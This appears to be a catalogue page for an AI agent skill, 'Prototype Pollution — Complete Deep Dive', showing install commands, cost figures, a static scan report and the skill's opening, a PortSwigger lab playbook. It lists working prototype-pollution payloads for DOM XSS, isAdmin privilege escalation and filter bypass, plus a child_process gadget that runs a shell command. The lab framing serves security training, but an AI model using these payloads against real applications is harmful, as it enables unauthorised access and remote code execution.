Getting it into your agent
This one installs as part of its plugin. Adding the marketplace and installing the plugin brings it with everything else the plugin ships.
/plugin marketplace add akashrpatil/awesome-offensive-security-skills/plugin install cyberskills-eliteWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/prototype-pollution)<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/prototype-pollution"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/prototype-pollution/github.svg" alt="Measured on agentmods" height="20"></a>Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.
<a href="https://agentmods.dev/skills/akashrpatil/awesome-offensive-security-skills/prototype-pollution"><img src="https://agentmods.dev/badge/skills/akashrpatil/awesome-offensive-security-skills/prototype-pollution.svg" alt="Reviewed on agentmods" width="80" height="20"></a>What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00026 | $0.01272 |
| Opus 5.5 | $0.00010 | $0.00509 |
| Sonnet 5.5 | $0.00005 | $0.00254 |
| Haiku 4.5 | $0.00003 | $0.00127 |
Grade A, and why
Prototype Pollution — Complete Deep Dive scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 1mo ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
tools: [burp-suite, curl, sqlmap, ffuf, python, hashcat, ysoserial] Runs shell commandslowCapability
Expected in a hook, worth knowing in a rule or an instructions file.
Or via child_process gadget: `{"__proto__":{"execArgv":["--eval=require('child_process').execSync('rm /home/carlos/morale.txt')"]}}}` This is a copy
81% identical to Access Control — Complete Deep Dive — 93 lines differ, which has more behind it and is treated as the original. This page carries a canonical link to it rather than competing with it.
How it starts
The opening of the file, as written. The whole thing — 156 lines — stays where its author put it; the contents beside it link to each section on GitHub.
Prototype Pollution — Complete Deep Dive
Deep-Dive Lab Playbook — Every PortSwigger lab variant with exact payloads, bypass techniques, and zero-day extensions. 🟢 Apprentice 🟡 Practitioner 🔴 Expert
When to Use
- BSCP certification prep
- Real-world bug bounty hunting
- Building exploitation chains
- Understanding bypass techniques
Prerequisites
- Burp Suite Professional
- Burp Collaborator / interactsh
- Browser with proxy configured
Workflow
Phase 1: Reconnaissance
- Identify input vectors, parameters, and application behavior.
Phase 2: Exploitation
- Apply standard lab payloads.
Phase 3: Zero-Day Escalation
- Fuzz filters, bypass WAFs, and chain with other vulns.
Lab Playbooks
Lab 1: Client-side via browser APIs 🟡 PRACTITIONER
?__proto__[testproperty]=testvalue
Check: Object.prototype.testproperty in console → if testvalue = polluted.
Lab 2: DOM XSS via client-side PP 🟡 PRACTITIONER
Find a gadget (property used in a sink):
?__proto__[transport_url]=data:,alert(1)//
Lab 3: Alternative PP vector 🟡 PRACTITIONER
?__proto__[sequence]=alert(1)-
Or: constructor.prototype instead of __proto__.
Lab 4: Flawed sanitization bypass 🟡 PRACTITIONER
con].__pro__] patterns if sanitizer strips __proto__. Try constructor[prototype] or nested __pro__proto__to__.
Lab 5: Third-party library PP 🟡 PRACTITIONER
Library-specific gadgets. Use DOM Invader (Burp) to auto-detect pollutable properties and gadgets.
Lab 6: Server-side privilege escalation 🟡 PRACTITIONER
{"__proto__":{"isAdmin":true}}
Pollute Object.prototype → all objects inherit isAdmin: true.
Lab 7: Detect without reflection 🟡 PRACTITIONER
{"__proto__":{"status":555}}
If response code changes to 555 → server-side pollution confirmed.
Lab 8: Bypass flawed input filters 🟡 PRACTITIONER
{"constructor":{"prototype":{"isAdmin":true}}}
Or: {"__proto__":{"json spaces":10}} → response formatting changes = confirmed.
What ships with it
1 file beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 1mo ago First seen · 156 lines · 26 tokens per session scan A 8a22980613a9
Prototype Pollution — Complete Deep Dive is a skill published in the GitHub repository akashrpatil/awesome-offensive-security-skills (11 stars, last pushed 6mo ago), licensed Apache-2.0. It adds 26 tokens to every session and 1,272 once invoked, about $0.0001 per session on Opus 5.5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). It is 81% identical to Access Control — Complete Deep Dive, differing in 93 lines, and is treated as a copy.
Other skills, from other repositories
Authentication — Complete Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
Access Control — Complete Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
CORS Misconfiguration — Complete Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
DOM-based Vulnerabilities — Complete Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
HTTP Host Header Attacks — Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.
JWT Authentication — Complete Deep Dive
Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques.